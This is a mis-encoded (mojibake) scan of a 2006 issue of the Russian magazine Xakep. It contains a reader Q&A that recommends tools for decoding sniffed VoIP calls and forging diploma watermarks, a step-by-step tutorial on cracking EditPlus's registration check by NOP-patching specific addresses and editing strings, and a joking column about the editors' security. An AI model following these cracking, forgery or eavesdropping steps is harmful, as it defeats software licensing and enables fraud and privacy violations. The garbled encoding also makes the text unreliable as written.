ëè÷àòüñÿ íàçâàíèåì îò îðèãèíàëîâ. Íå ñòîèò íàïðàâëÿòü XDCC-Fetch íà çàâåäîìî ïóñòûå êàíàëû. Ïåðåä çàïóñêîì ðàçóìíî ïðîáèòü äîñòóïíîñòü æåëàííîãî íà xdccspy.com. Ïðîãà, óâû, ïðàêòè÷åñêè íå îáíîâèëàñü çà ïîñëåäíèé ãîä, è íåäî÷åòû, ïîñëàííûå àâòîðàì, íå áûëè èñïðàâëåíû... Âñå íåãîäóþùèå ìîãóò ïîïûòàòü ñ÷àñòüÿ ñ àíàëîãîì — www.xdcccatcher.com. Q: Ñíèôàë îäíó ñåòî÷êó è ïîíÿë, ÷òî ãèãàáàéòû ñîáðàííîãî ìóñîðà — ðàçãîâîðû ïî IP. Êàê áû ìíå âúåõàòü, î ÷åì òàì âåëèñü áàçàð÷èêè? A: Ñëåäóåò ïîíÿòü, ÷òî íàñíèôàëîñü â ñîáðàííûå ëîãè. Åñëè òàì ÷èñòî òåëåôîííûå òåðêè, òî ìîæíî ñìåëî ñêàðìëèâàòü òåìó ñîôòèíå ñ àïïåòèòíûì íàçâàíèåì Vomit (vomit.xtdnet.nl). Åñëè æå òû íàòàñêàë êó÷ó ìóñîðà ñî âñåõ ðàçíûõ òåì, òî ñëåäóåò ïðîâåñòè ôèëüòðàöèþ, îòäàâ Vomit’ó ëèøü ëîãè ïî VoIP-ñåðâèñó. Q: Çàáðîñèë ó÷åáó, íî ñîáèðàþñü íàïå÷àòàòü äèïëîì èç ôîòîøîïà. Êàê áû ìíå òóäà âîäÿíûå çíàêè è ïðî÷óþ áîòâó çàïðàâèòü? A: Òåìíûå ýëåìåíòû ñíà÷àëà îòâåòÿò äëÿ ñåáÿ íà âîïðîñ: îòêóäà áóäóò äîáûòû îáðàçöû âîäÿíûõ çíàêîâ äëÿ ïîñëåäóþùåãî íàëîæåíèÿ? Ïðåäñòàâèâ èäèëëèþ îáëàäàíèÿ îíûìè, îíè ðàñïîëàãàþò äâóìÿ ïóòÿìè: ïðîôåññèîíàëüíûé ñîôò ïî ñîçäàíèþ äîêóìåíòîâ è ëþáèòåëüñêèå ðåàëèçàöèè «íà êîëåíêå». Ïåðâûé âàðèàíò ìîæåò áûòü ïðåäñòàâëåí ñîôòîì «Öåðáåð» (www.securesoft.ru/cerber.html), êîòîðûé áûë ñî÷íî è äåòàëüíî îïèñàí â Õ ¹5 çà 2001 ãîä. Âòîðîé ïóòü ïðîùå è íå ñòîëü îáðåìåíèòåëåí ôèíàíñàìè; çäåñü ïîìîæåò è ïðèìèòèâíåéøàÿ S_Merge (www.graphicutils.com/

smerge).  îòëè÷èå îò Öåðáåðà, ñîôòèíà íå ñóìååò ñîçäàòü ñîáñòâåííûé äèçàéí äëÿ çíàêîâ, íî óñïåøíî íàëîæèò óæå èìåþùèåñÿ íà ëþáîå èçîáðàæåíèå.  öåëîì æå áûòóåò ìíåíèå, ÷òî áîëåå ýôôåêòèâíûì ðåøåíèåì äëÿ æåëàþùèõ ïðîåõàòüñÿ îáðàçîâàòåëüíûì ïîåçäîì íà õàëÿâó ñòàíåò ïðèîáðåòåíèå äèïëîìà â ïåðåõîäå. Äðóãîå äåëî, ÷òî ëþáîé ðàáîòîäàòåëü ñìîæåò ðàñêóñèòü ëèïó, ïðîñòî ïîçâîíèâ â îáîçíà÷åííûé óíèâåð è çàïðîñèâ äåéñòâèòåëüíîñòü âûäàííîãî äèïëîìà. Q: Âçÿë ïîä êîíòðîëü íåñêîëüêî ñèñòåì, íî óæå óñòàë ïðîâåðÿòü ðàáîòîñïîñîáíîñòü êàæäîé èç íèõ. Ìîæíî ëè êàê-òòî êîíñîëèäèðîâàòü ëîãè îòî âñåõ ðàçîì? A: Âîïðîñ åäèíîãî àäìèíèñòðèðîâàíèÿ íåñêîëüêèõ ñèñòåì ñôîðìóëèðîâàí äîâîëüíî íå÷åòêî. Íàèáîëåå âåðíûì çäåñü ìîæåò ñòàòü íàïèñàíèå ñêðèïòîâ äëÿ òâîåãî SSH-êëèåíòà, êîòîðûé ìîæåò ðàáîòàòü êàê ëîêàëüíî, òàê è óäàëåííî. Òîãäà îäíà êîìàíäà áóäåò ðàñïðîñòðàíåíà ðàçîì íà íåñêîëüêî ïîäêîíòðîëüíûõ òà÷åê. Îäíàêî ýòî ëèøü óíèâåðñàëüíûé îòâåò, êîòîðûé, âåðîÿòíî, íå ñïàñåò îò èìåþùèõñÿ ñëîæíîñòåé è ïåäèêóëåçà :). Áîëåå òî÷íî ìîæíî îòâåòèòü íà âòîðîé âîïðîñ î åäèíåíèè ëîãîâ. Âñå ñâîè ìàøèíû ÿ ïðîâåðÿþ íà âøèâîñòü ñáîðîì ëîãîâ ÷åðåç LogMeister (www.logmeister.com). Îí óìååò ñîáèðàòü èíôî ñ ñàìûõ ðàçíûõ ñèñòåì, îáðàáàòûâàòü ïîòîêè â ôîðìå ïðîñòîãî òåêñòà, csv, xml (ïðèâåò RSS). Åñëè ïîä ðóêîé îêàçûâàþòñÿ èñêëþ÷èòåëüíî win-ñèñòåìû, òî íà ïîìîùü ïðèäåò çàòî÷åííîå ïîä íóæäû EventMeister-ðåøåíèå îò òîãî æå ïðîèçâîäèòåëÿ. BINARY YOUR’S z

055


ÂÇËÎÌ

ÅÑËÈ ÊÒÎ-ÒÎ ÒÅÁÅ ÊÎÃÄÀ-ÒÎ “ ÃÎÂÎÐÈË, ×ÒÎ ÂÇËÎÌÎÌ ØÀÐÎÂÀÐÍÛÕ ÏÐÎÃÐÀÌÌ ÇÀÍÈÌÀÞÒÑß ÒÎËÜÊÎ ÃÓÐÓ, Ñ ÍÎà ÄÎ ÃÎËÎÂÛ ÎÁËÎÆÅÍÍÛÅ ÑÏÐÀÂÎ×ÍÈÊÀÌÈ ÏÎ ÀÑÑÅÌÁËÅÐÓ, ÒÎ, ÏÐÎ×Òß ÝÒÓ ÑÒÀÒÜÞ, ÒÛ ÐÀÇÓÁÅÄÈØÜÑß Â ÝÒÎÌ. ÌÛ ÂÌÅÑÒÅ Ñ ÒÎÁÎÉ ÓÂÈÄÈÌ, ÊÀÊ ÎÒËÀÄ×ÈÊ È ØÅÑÒÍÀÄÖÀÒÅÐÈ×ÍÛÉ ÐÅÄÀÊÒÎÐ ÌÎÃÓÒ ÑÎÂÅÐØÈÒÜ ÒÎ ÆÅ ÑÀÌÎÅ, ×ÒÎ ÄÅËÀÅÒ ÏÐÀÂÈËÜÍÎ ÂÂÅÄÅÍÍÛÉ ÑÅÐÈÉÍÛÉ ÍÎÌÅÐ

056

XÀÊÅÐ 02 /86/ 06


TEXT ÈÑÓÏÎÂ ËÅÎÍÈÄ AKA CR@WLER / CRAWLERHACK@RAMBLER.RU /

ÏÐÎÃÐÀÌÌÍÎÅ ÐÀÇÐÓØÅÍÈÅ

ÎÁÕÎÄ ÒÐÈÀË-ÇÀÙÈÒÛ ÏÐÎÃÐÀÌÌÛ EDITPLUS

Íà íàøåì äèñêå òû íàéäåøü OllyDBG, WinHex è Hiew — ñîôò, êîòîðûé ÿ èñïîëüçîâàë äëÿ ñâîåãî íåõèòðîãî âçëîìà.

ÏÅÐÅÄ ÑÒÀÐÒÎÌ Ñïåöèàëèçèðîâàííûé òåêñòîâûé ðåäàêòîð EditPlus î÷åíü óäîáåí äëÿ ðåäàêòèðîâàíèÿ ñàìûõ ðàçíîîáðàçíûõ èñõîäíèêîâ: îí óìååò ïîäñâå÷èâàòü âûðàæåíèÿ, íàïèñàííûå íà âñåâîçìîæíûõ ÿçûêàõ ïðîãðàììèðîâàíèÿ, è ðàçìåòêè: HTML, CSS, PHP, ASP, Perl, C/C++, Java. Êðîìå òîãî, ñóùåñòâóåò âîçìîæíîñòü ðàñøèðèòü ýòîò ñïèñîê, äîáàâèâ ïëàãèíû äëÿ äðóãèõ ÿçûêîâ. Î÷åíü ïîìîãàþò ïðè ðåäàêòèðîâàíèè íóìåðàöèÿ ñòðîê è äðóãèå çàìå÷àòåëüíûå âîçìîæíîñòè. Ïðåèìóùåñòâà ìîæíî ïåðå÷èñëÿòü áåñêîíå÷íî, òàê ÷òî ëåã÷å ñðàçó ñêàçàòü î íåäîñòàòêàõ, âåðíåå, î ñàìîì ãëàâíîì èç íèõ — î ïëàòíîñòè ïðîãðàììû. Çàìîðñêèå áóðæóè ïðîñÿò çà ïðîãó àæ 30 àìåðèêàíñêèõ äîëëàðîâ. Íî ìû íå ïîéäåì íà òàêèå çàòðàòû, îòêóäà ó íàñ ñòîëüêî äåíåã? :) Ìû ïîïðîáóåì çàðåãèñòðèðîâàòü ïðîãðàììó ñâîèìè ñèëàìè. ÈÍÑÒÐÓÌÅÍÒ Ïàðó ñëîâ î òîì, ÷òî íàì äëÿ ýòîãî ïîíàäîáèòñÿ. Âî-ïåðâûõ, ýòî èçâåñòíûé ìíîãèì ïðîãðàììèñòàì, õàêåðàì, êðýêåðàì, þçåðàì è ëàìåðàì äèçàññåìáëåð è äåáàããåð OllyDbg. Íàâåðíÿêà ó ìíîãèõ âîçíèêíåò âîïðîñ: à ïî÷åìó íå SoftIce? Îáúÿñíÿþ: ïðè íåáîëüøîì îïûòå êðýêèíãà (à ýòà ñòàòüÿ è ðàññ÷èòàíà íà íà÷èíàþùèõ) ñëîæíî ðàçîáðàòüñÿ â îòëàä÷èêå, ñîçäàííîì äëÿ ëþäåé ñêîðåå îïûòíûõ, ÷åì íåñâåäóùèõ â ïðîãðàììèðîâàíèè. Äàëüøå íàì ïîíàäîáèòñÿ ëþáîé øåñòíàäöàòåðè÷íûé ðåäàêòîð, íàïðèìåð, íåáåçûçâåñòíûé Hiew èëè æå íå ìåíåå óäîáíûé WinHex. ß ïðåäïî÷èòàþ ïîñëåäíèé. ÑÅÑÒÐÀ, ÑÊÀËÜÏÅËÜ Èòàê, ïðèñòóïèì ê èññëåäîâàíèþ ïðîãðàììû. Äëÿ íà÷àëà ïðîèíñòàëëèðóåì ñîôòèíó è çàòåì çàïóñòèì. Êàê íè ñòðàííî, ïåðåä çàïóñêîì ïðîãðàììû ïîÿâëÿåòñÿ îêíî ðåãèñòðàöèè — òàê íàçûâàåìûé «íàã». Íàæàâ êíîïêó «Enter Registration Code», ìû óâèäèì îêîøêî, êîòîðîå ñîäåðæèò äâà ïîëÿ: «Username» è «Regcode».  ïåðâîå ïðè ðåãèñòðàöèè ââîäèòñÿ èìÿ ïîëüçîâàòåëÿ, âî âòîðîå — ãåíåðèðóåìûé ïî íåèçâåñòíîìó íàì àëãîðèòìó ðåãèñòðàöèîííûé íîìåð. Îäíàêî ïèñàòü êåéãåí íå âõîäèò â íàøè ïëàíû. Ìîé âûáîð ïàë íà íè÷åì íå çàïàêîâàííóþ ïðîãðàììó. ×òîáû îáúÿñíèòü ïðèíöèï, îñ-

XÀÊÅÐ 02 /86/ 06

òàâèì AsProtect’û ãóðó. Äàííûå ïîëÿ — ñòàíäàðòíûå WinAPI-îáúåêòû (îáû÷íûå TextBox-û). Ñëåäîâàòåëüíî, äëÿ ÷òåíèÿ ââåäåííûõ â íèõ ñòðîê äîëæíà èñïîëüçîâàòüñÿ ñòàíäàðòíàÿ ïðîöåäóðà GetWindowTextA. Âîîáùå, äëÿ òàêèõ ïðîâåðîê õîðîøî èñïîëüçîâàòü êàêîé-íèáóäü API-øïèîí (â ìîåì ñëó÷àå M$SpyXX), êîòîðûé ïðè ïîèñêå îêíà ïîêàçàë ìíå êëàññ òåêñòáîêñîâ. Ïðîâåðèì æå ýòîò ôàêò íà ïðàêòèêå. Óñòàíîâèì è çàïóñòèì OllyDbg. Âûáåðåì â ìåíþ «File» ïóíêò «Open» (èëè òêíåì F3) è â ïîÿâèâøåìñÿ îêíå íàéäåì ôàéë «EditPlus.exe». Î÷åíü òåáå ðåêîìåíäóþ ñîõðàíèòü êîïèþ èñõîäíîãî ôàéëà, íà ñëó÷àé ôîðñ-ìàæîðíûõ îáñòîÿòåëüñòâ. Åñëè ïîÿâÿòñÿ êàêèå-ëèáî ñîîáùåíèÿ, íàæìåì «OK». Ïîäîæäåì, ïîêà îòëàä÷èê àíàëèçèðóåò ôàéë (ìîæíî ïðèíóäèòåëüíî çàñòàâèòü îòëàä÷èê ïðîâåñòè àíàëèç, äëÿ ýòîãî íàæìåì «Ctrl+A»). Ãîòîâî: ïðîöåññ çàãðóæåí è îñòàíîâëåí íà òî÷êå âõîäà. Ïðîâåðèì æå òåïåðü íàøó ãèïîòåçó î òîì, ÷òî ñåðèéíèê è þçåðíýéì ÷èòàþòñÿ ïðîöåäóðîé GetWindowTextA. Äëÿ ýòîãî óñòàíîâèì íà âñå ïîäîáíûå ïðîöåäóðû òî÷êè îñòàíîâà (ýòî ìåñòà, ãäå ïðîãðàììà âðåìåííî ïðåðûâàåò ñâîå âûïîëíåíèå, íàçûâàåìûå áðåêïîéíòàìè èëè áðÿêàìè). ×òîáû ïîñòàâèòü áðÿê â OllyDbg, íåîáõîäèìî âîñïîëüçîâàòüñÿ ïëàãèíîì CommandLine, ïðîñòî íàæàâ ñî÷åòàíèå êëàâèø <ALT>+<F1>. Ïðè ýòîì âûñêî÷èò îêíî ñâîåîáðàçíîé êîìàíäíîé ñòðîêè, â êîòîðóþ íóæíî ââåñòè «bpx GetWindowTextA» (áåç êàâû÷åê), è íàæàòü «Enter». Bpx çäåñü — ýòî êîìàíäà äëÿ óñòàíîâêè áðÿêà, ïî àíàëîãèè ñ SoftIce’îì. Òàê êàê âûçîâîâ GetWindowTextA íåñêîëüêî, ïîÿâèòñÿ îêíî ñî ñïèñêîì âûçûâàåìûõ äàííîé ïðîãðàììîé áèáëèîòå÷íûõ ôóíêöèé è ïðîöåäóð. Òóò âîçíèêàåò îäíà î÷åâèäíàÿ ïðîáëåìà, çàêëþ÷àþùàÿñÿ â òîì, ÷òî âûçîâîâ íåñêîëüêî, è ìû íå çíàåì, êàêîé èìåííî èç íèõ íàì íóæåí (ïðè òàêîì ïîäõîäå óæå íà âñå âûçîâû ïîñòàâëåíà òî÷êà îñòàíîâà. — Ïðèì.ðåä.). Äëÿ ðåøåíèÿ ïðîáëåìû áóäåì äåéñòâîâàòü â ëîá: ïðîñòî ïîñòàâèì òî÷êè îñòàíîâà íà âñå âûçîâû ôóíêöèè, íàæàâ ïðàâîé êíîïêîé íà îäèí èç âûçîâîâ è âûáðàâ «Set breakpoint on every call to GetWindowTextA» èëè ïðîñòî íàæàâ êëàâèøó F2. Âñå, áðÿêè ïîñòàâëåíû. Æìåì F9 äëÿ çàïóñêà ïðîöåññà. Ïîñêîëüêó ôóíêöèé ìíîãî, íàì íàäî íàéòè èìåííî òó, êîòîðàÿ îòâå÷àåò çà ñ÷èòûâàíèå äàííûõ, æìåì F9, ïîêà íå ïîÿâèòñÿ íàã-îêíî. Ââîäèì íàøè äàííûå òóäà, ãäå èõ ïðîñÿò. Òóò è ñðàáîòàåò íàø áðåéêïîèíò. Îòëàä÷èê îñòàíîâèòñÿ íà âûçîâå

057


ÂÇËÎÌ ///// ISSUE

GetWindowTextA. Ïðîäîëæèì âûïîëíåíèå ïîøàãîâî, íàæèìàÿ F7 äî òåõ ïîð, ïîêà íå äîéäåì äî ó÷àñòêà ñ àäðåñîì 0047CA03. Çäåñü ïðîãðàììà êàê áû «çàöèêëèâàåòñÿ», ñíîâà è ñíîâà âîçâðàùàÿñü íà ñòðîêó êîäà ñ äàííûì àäðåñîì. Ýòî è åñòü íà÷àëî ïðîöåäóðû ïðîâåðêè ïðàâèëüíîñòè ñåðèéíèêà. Êàê ÿ óçíàë? Ïîñìîòðè ñîäåðæèìîå ðåãèñòðîâ â ïðàâîé ÷àñòè OllyDbg. Òàì çàìåëüêàëè òå äàííûå, ÷òî ÿ ââîäèë ïðè ðåãèñòðàöèè. Äîæäåìñÿ, ïîêà ïî àäðåñó 0047CA19 ïðîãðàììà ïåðåñòàíåò âûïîëíÿòü óñëîâíûé ïåðåõîä íà àäðåñ 0047CA03. Íàæèìàÿ F7, äîéäåì äî àäðåñà 0047CB57. Çäåñü, êàê ìîæíî âûÿñíèòü îïûòíûì ïóòåì, íàõîäèòñÿ óñëîâíûé ïåðåõîä: âåðíûé ñåðèéíèê èëè «ëåâûé» (ñòðîêà «JNZ SHORT EDITPLUS.0047CB60»). Ìû íå áóäåì ðàññìàòðèâàòü ñåé÷àñ àëãîðèòì ãåíåðàöèè ñåðèéíèêà, íàì âàæíî ïðîñòî ïîëîìàòü ýòó ïðîãðàììó. ÎÒÓ×ÀÅÌ ÏÐÎÃÐÀÌÌÓ ÏÐÛÃÀÒÜ, ÊÓÄÀ ÍÅ ÍÀÄÎ Äëÿ òîãî ÷òîáû ïðîãðàììà íå ïåðåõîäèëà òóäà, êóäà åå íå ïðîñÿò, íàäî êàê-òî óáðàòü ýòîò çëîñ÷àñòíûé ïåðåõîä. Äëÿ ýòîãî çàìåíÿåì êîìàíäó ïðûæêà íà ñåðèþ îïåðàòîðîâ. Îïåðàòîð «NOP» íå âûïîëíÿåò íè÷åãî (Not OPerand). Äëÿ çàìåíû ìû ùåëêíåì 2 ðàçà ïî ñòðî÷êå êîäà ñ óñëîâíûì îïåðàòîðîì. Ïîÿâèòñÿ îêîøêî, ãäå ìîæíî «ïðîïàò÷èòü» êîä ïðîãðàììû. Îòìåòèì ôëàæîê «Fill with NOP-s « è ââåäåì âìåñòî ñòðîêè êîäà ñ óñëîâíûì ïåðåõîäîì îïåðàòîð «NOP». Íàæìåì «Assemble» è çàêðîåì îêîøêî. Íàæìåì F9 è ïîñìîòðèì, ÷òî òåïåðü ñêàæåò íàøà èññëåäóåìàÿ ïðîãðàììà. Óðà, îíà ãîâîðèò, ÷òî íåîáõîäèìî ïåðåçàïóñòèòüñÿ äëÿ ïðèíÿòèÿ ñåðèéíîãî íîìåðà. Æìåì «OK» è çàêðûâàåì ïðîãðàììó. Çàïóñòèì åå åùå ðàç. Êîíå÷íî, ïîÿâèòñÿ ñîîáùåíèå «Invalid registration code». Âñå, ÷òî íàì íàäî, — óáðàòü ýòî ñîîáùåíèå, âåäü îíî áóäåò íàäîåäàòü ïðè êàæäîì çàïóñêå! Çàïóñòèì ñíîâà OllyDbg è âûáåðåì «File -> Attach», ïîñëå ýòîãî âûáåðåì íóæíûé íàì ïðîöåññ (ðåäàêòîð «EditPlus») èç ñïèñêà. Òêíåì Run, ïîñëå ýòîãî — ïàóçó. Çà÷åì? Äëÿ òîãî ÷òîáû óçíàòü, ïî êàêîìó àäðåñó ïðîèñõîäèò âûçîâ ñîîáùåíèÿ î íåâåðíîì ðåãèñòðàöèîííîì êîäå. Àäðåñ ýòîò — 004C8097 (ôóíêöèÿ âûâîäà «îêîøêà» íàçûâàåòñÿ «MesssageBoxA»). ×òîáû óáðàòü âûçîâ ñîîáùåíèÿ, ìû ñíîâà áóäåì ïîëüçîâàòüñÿ «ïóñòûì» NOP’îì. Êàê íàì óçíàòü, ñêîëüêî NOP’îâ íóæíî äëÿ çàìåíû âûçîâà? Îòíèìàåì îò àäðåñà èíñòðóêöèè, ñëåäóþùåé ñðàçó çà âûçîâîì MessageBoxA(004C809D), àäðåñ ñàìîãî âûçîâà (004C8097). Ïîëó÷àåì 6. Òàê êàê êîìàíäà NOP çàíèìàåò â ïàìÿòè 1 áàéò, íàì íóæíî çàìåíèòü 6 áàéò, íà÷èíàÿ ñ àäðåñà 004C8097, íà øåñòíàäöàòåðè÷íîå çíà÷åíèå êîìàíäû NOP. Ýòî çíà÷åíèå, î ÷åì ëåãêî óçíàòü, çàãëÿíóâ â ëþáîé ó÷åáíèê ïî ÿçûêó Àññåìáëåð, ðàâíî 90 â øåñòíàäöàòåðè÷íîé ñèñòåìå ñ÷èñëåíèÿ. ÄÅËÀÅÌ ÇÀÌÅÍÓ Ïðèñòóïèì, ñîáñòâåííî, ê çàìåíå. Ìíå ëè÷íî íå î÷åíü íðàâèòñÿ ðåäàêòèðîâàòü äâîè÷íûå ôàéëû îòëàä÷èêîì, õîòÿ îí è íà ýòî ñïîñîáåí, ïîýòîìó ïåðâîå, ÷òî ïðèõîäèò íà óì, — ðåäàêòèðîâàòü ôàéë EditPlus.exe ðåäàêòîðîì WinHex. Îí î÷åíü óäîáåí. Çàïóñêàåì åãî è îòêðûâàåì íà ðåäàêòèðîâàíèå EditPlus.exe. Ïîñ÷èòàåì, îòêóäà íàäî íà÷èíàòü çàìåíÿòü áàéòû. OllyDbg ñ÷èòàëà ñìåùåíèÿ, íà÷èíàÿ c àäðåñà 00401000h. Îòíèìåì îò 004Ñ8097h çíà÷åíèå 00401000h. Ïîëó÷èì Ñ7097. Ýòî íóæíî äëÿ òîãî, ÷òîáû çíàòü ñìåùåíèå îòíîñèòåëüíî íà÷àëà â «àáñîëþòíîì» âèäå, âåäü â WinHex àäðåñàöèÿ íà÷èíàåòñÿ ñ «íóëÿ». Íàæìåì â ïðîãðàììå WinHex ñî÷åòàíèå êëàâèø «ALT»+«G» äëÿ ïåðåõîäà ê ñìåùåíèþ. Ââîäèòü

058

WWW.CRACKLAB.RU Ðåñóðñ www.cracklab.ru — ïðèìåð ñàéòà, ñîçäàííîãî ëþäüìè, êîòîðûì èíòåðåñíî, ÷òî òâîðèòñÿ â ìèðå êðýêèíãà, ëþäüìè, èíòåðåñóþùèìèñÿ âçëîìîì ïðèíöèïèàëüíî íîâûõ çàùèò. Ôîðóì, òîïèêè, ïîëåçíûé ñîôò è êó÷à ñàìîé ðàçíîîáðàçíîé èíôîðìàöèè è äëÿ îïûòíûõ, è äëÿ íîâè÷êîâ — ýòî äàëåêî íå ïîëíûé ñïèñîê òîãî, ÷òî òû íàéäåøü, íàïå÷àòàâ â àäðåñíîé ñòðîêå ñâîåãî ëþáèìîãî îñëèêà www.cracklab.ru.

îëÿ ê áîþ ãîòîâà

ââîäèì äàííûå è íàæèìàåì íà êíîïî÷êó…

óñòàíàâëèâàåì áðåéêïîèíòû íà âñå ïðîöåäóðû GetWindowTextA

ïðàâèì ôàéë

Âñå, ÷òî îïèñàíî â ñòàòüå, — àíåêäîò. Åñëè êîãî-òî çà ïðèâåäåíèå ýòîãî àíåêäîòà â äåéñòâèå àðåñòóþò, òî ðåäàêöèÿ è àâòîð îòâåòñòâåííîñòè çà ýòî íå íåñóò.

Ñîâåòóþ òåáå ïî÷èòàòü ÑÏÅÖ Õàêåð çà àâãóñò 2005-ãî, à òàêæå ïîñåòèòü ðàçëè÷íûå êðýê-ðåñóðñû è íå çàáûâàòü ïîêóïàòü æóðíàë.

àäðåñà íóæíî â äåñÿòè÷íîì âèäå, ñ ïîìîùüþ âèíäîâñêîãî êàëüêóëÿòîðà ìîæíî ïîñ÷èòàòü, ÷òî íóæíîå íàì ñìåùåíèå (C7097h) â äåñÿòè÷íîì âèäå áóäåò ðàâíûì 815255. Àõ äà, OllyDbg íå îòîáðàæàåò ïåðâûå 1024 áàéòà çàãîëîâêà ôàéëà. Ó÷òåì ýòî è ïðèáàâèì ê íàøåìó ñìåùåíèþ ýòî çíà÷åíèå. Ïîëó÷èì 816279. Ââåäåì ýòî ÷èñëî è íàæìåì «Enter». Îïåðàöèÿ ïðîâåäåíà, è ìû ïåðåøëè ïî íóæíîìó ñìåùåíèþ. Çàìåíÿåì âñå 6 áàéòîâ, íà÷èíàÿ ñ ýòîãî ìåñòà, íà 90h. Ñîõðàíÿåì ôàéë è çàïóñêàåì åãî. Óðà, íè÷åãî íå âûñêàêèâàåò :). Ïî÷òè âñå õîðîøî, íî ñòðàííî îäíî: êîãäà ìû âûáèðàåì â íàøåé õàêíóòîé ïðîãå «Help->About», òàì íàïèñàíî, ÷òî îíà «Unregistered». Ýòî óæå íå ñîîòâåòñòâóåò äåéñòâèòåëüíîñòè. Îòêðîåì íàøó ïðîãðàììó â WinHex-å è íàéäåì òàì ñòðîêó «Unregistered Copy». Çàìåíèì åå íà «Cracked By», à îñòàâøèåñÿ áóêâû çàòðåì ïðîáåëàìè. Äàëüøå íàéäåì ñòðîêó «For Evalution» è çàìåíèì åå íà ñâîé íèê (îñòàâøååñÿ ìåñòî òîæå çàòðåì ïðîáåëàìè). Âñå, ãîòîâî! Æåëàþùèå ìîãóò åùå è óäàëèòü èç ïðîãðàììû êàêèì-íèáóäü ResourceHacker’îì ïóíêòû ìåíþ «Enter Registration code» è «Order Now». ÇËÎÊËÞ×ÅÍÈÅ Íó, âîò ìû è ðàçîáðàëèñü ñ ïðîãðàììîé. Íàäî îòìåòèòü, ÷òî ÿ ïðèìåíèë ñàìûé ïðîñòîé ñïîñîá âçëîìà, íàçûâàåìûé áèò-êðýêèíãîì. Åãî ñóòü çàêëþ÷àåòñÿ â çàìåíå ïàðû áàéò. Êàê ïðàâèëî, ýòî áàéòû ïåðåõîäà.  íàñòîÿùåå âðåìÿ, â âåê «ýêñòðèìàëüíûõ» ïðîòåêòîðîâ è êëþ÷åé àïïàðàòíîé çàùèòû, êàçàëîñü áû, óæå íå îñòàëîñü ïðîãðàìì, êîòîðûå ìîæíî âçëîìàòü òàêèì îáðàçîì. Îäíàêî ïðàêòèêà ïîêàçûâàåò îáðàòíîå. BINARY YOUR’S z

XÀÊÅÐ 02 /86/ 06


ÕÀÊÅÐ ÐÀÇÎÁËÀ×ÀÅÒÑß ///// ISSUE

Êàê ðåäàêòîðû Õàêåðà ñëåäÿò çà áåçîïàñíîñòüþ Ìû ïå÷àòàåì öåëóþ êó÷ó ñòàòåé î âñÿêîãî ðîäà áàãàõ è âçëîìàõ. Îäíàêî íè ðàçó íå ïèñàëè î ñàìèõ ñåáå.  ñàìîì äåëå, òàê ëè óæ êðóòî ðåäàêòîðû «Õàêåðà» ñëåäÿò çà ñîáñòâåííîé áåçîïàñíîñòüþ? Îêàçûâàåòñÿ, ÷òî íå òàê òóò âñå ãëàäêî.

Ñàøà Ëîçîâñêèé, âûïóñêàþùèé ðåäàêòîð

Êîñòÿ Îáóõîâ, àðò-äèðåêòîð

Íèêîëàé Gorlum, ðåäàêòîð Êîäèíãà

Sashiks, ðåäàêòîð âèäåî

Àíäðþøîê, ðåäàêòîð Unixoid

Ó äîêòîðà Êëóíèçà è êîìïà-òî ñâîåãî íåò, êàêàÿ óæ òóò áåçîïàñíîñòü. Âçÿë ó ïðèÿòåëÿ ðàçäîëáàííûé áëîê áåç êîðïóñà ïîä âèíäîé XP áåç âòîðîãî ñåðâèñïàêà, ÷òîáû ñäåëàòü íîìåð. Çà áåçîïàñíîñòüþ íå ñëåäèò âîîáùå. Âñïîìèíàåò, êàê êîãäà-òî îáíîâëÿëñÿ àâòîìàòè÷åñêè. À òåïåðü êàæäûé ìîæåò ïîèìåòü åãî êîìï ïðè ïîìîùè ëþáîãî ñïëîèòà ñòàðøå 2002 ãîäà.

Êîñòÿí ó íàñ ëþáèòåëü Mac OS. Íî ýòî íå ìîæåò ñïàñòè åãî îò êðóòûõ õàêåðîâ. Ðàññêàæó òåáå íåáîëüøîé ñåêðåò: çà Êîñòåé òàéíî ñëåäèò Ãîðëóì, íàïèñàâøèé êðóòîãî øïèîíà ïîä MAC. Íàèâíûé Êîñòÿ äî ñèõ ïîð óëûáàåòñÿ, äóìàÿ, ÷òî MAC OS çàùèùàåò åãî. Íî ýòî íå òàê. Òû âîò òîæå ìîæåøü ïîðóòàòü êîìï íàøåãî äèçàéíåðà ïðè ïîìîùè ñïëîèòà launchdex.c.

Êîëÿ — íàñòîÿùèé ïàðàíîèê. Ñàøà Ëîçîâñêèé äàæå ïîäîçðåâàåò ó íåãî øèçîôðåíèþ, èëè âðîäå òîãî. Êîëÿ â îòâåò ïðåäëàãàåò çàöåíèòü åãî íîâîãî òðîÿíà, êîòîðîãî îäèí ðàç çàïóñòèâ, ïîòîì óæå è íå îòûñêàòü â ñèñòåìå. Íàñ÷åò áåçîïàñíîñòè, Êîëÿ — ìàñòàê. Ïîëüçóåòñÿ Explorer'îì, çàïóùåííûì ïîä îòäåëüíîé âèðòóàëüíîé ìàøèíîé è íèçêèìè ïðèâèëåãèÿìè. Àïäåéòû ñòàâèò ðàíüøå èõ ïîÿâëåíèÿ.

Ó Ñàøèêñà ñ áåçîïàñíîñòüþ âñå êðóòî. Ñ òåõ ïîð, êàê îí ïîëîìàë êðóòîãî ïðîâàéäåðà è åãî êîìï çàáðàëè äîáðîòíûå ðàáîòíèêè óêðàèíñêèõ ñïåöñëóæá, ïðîáëåì ñ ýòèì íåò. Íàäî òîëüêî ïàðó-òðîéêó ðàç â ìåñÿö ïðèõîäèòü ê íèì â öåíòðàëüíûé îôèñ è ïîäàâàòü çàÿâëåíèÿ, ÷òîáû êîìï âåðíóëè. È áîëüøå — íåò íèêàêèõ ïðîáëåì.

Àíäðþøîê ñåáÿ ÷óâñòâóåò â ïîëíîé áåçîïàñíîñòè. Ñ òåõ ïîð, êàê äîêòîðà îêîí÷àòåëüíî èíòåãðèðîâàëè åãî ïðîïèòîé ìîçã ñ P-133 ïîä OpenBSD, íè îäèí òðîÿí è ðóòêèò Àíäðþøêó íå ïîìåõà. Äîáàâü ñþäà ïàðàíîèäàëüíî íàñòðîåííûé ôàéðâîë è ïàò÷è ñîáñòâåííîãî èçãîòîâëåíèÿ, êîòîðûå Àíäðþøîê âêîìïèëèâàåò â ÿäðî êàæäóþ íåäåëþ.  îáùåì, ó òåáÿ íåò øàíñîâ, ïðèÿòåëü.

059

XÀÊÅÐ 02 /86/ 06


ÂÇËÎÌ ÂÇËÎÌ ÑÖÅÍÀ ///// ISSUE

TEXT MIFRILL / mifrill@riddick.ru /

